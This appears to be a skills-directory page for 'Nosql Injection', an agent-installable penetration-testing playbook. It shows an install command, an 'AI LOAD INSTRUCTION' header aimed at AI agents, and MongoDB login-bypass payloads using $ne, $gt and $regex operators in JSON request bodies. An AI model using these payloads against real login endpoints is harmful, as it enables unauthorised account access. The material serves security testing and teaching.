Skip to content
yaklang avatar

Nosql Injection

Playbook for NoSQL injection covering MongoDB operator abuse, login bypass, blind regex extraction, and CouchDB/Redis exposure.

CCM score
62 of 100
skills.sh installs
3.9K
GitHub stars
2.7K
last updated
Aug 21, 2026
View on GitHub

Own this skill? Claim it

What it does

  • Covers MongoDB operator injection, login bypass, blind extraction via $regex, $where JavaScript abuse, and aggregation pipeline injection
  • Includes operator reference tables, PHP and Ruby/Python parameter-array tricks, CouchDB admin API and Redis exposure checks, and a testing checklist
  • Provides a Python template for character-by-character $regex extraction with a boolean login-response oracle
  • Designed for penetration testers who already know SQL injection and need NoSQL-specific attack patterns

Install

$ npx -y skills add yaklang/hack-skills --skill nosql-injection -y

Installs into .agents/skills for every agent it finds here, and .claude/skills for Claude Code.

Files

SKILL: NoSQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.


1. CORE CONCEPT — OPERATOR INJECTION

SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.

MongoDB example — normal query:

db.users.find({username: "alice", password: "secret"})

Injection via JSON operator:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!


2. MONGODB — LOGIN BYPASS

JSON Body Injection (API with JSON Content-Type)

POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

Details

Repository
github.com/yaklang/hack-skills
Categories
Security, Databases
First seen
Jun 3, 2026

More from yaklang/hack-skills

All 102

Similar to Nosql Injection

More Security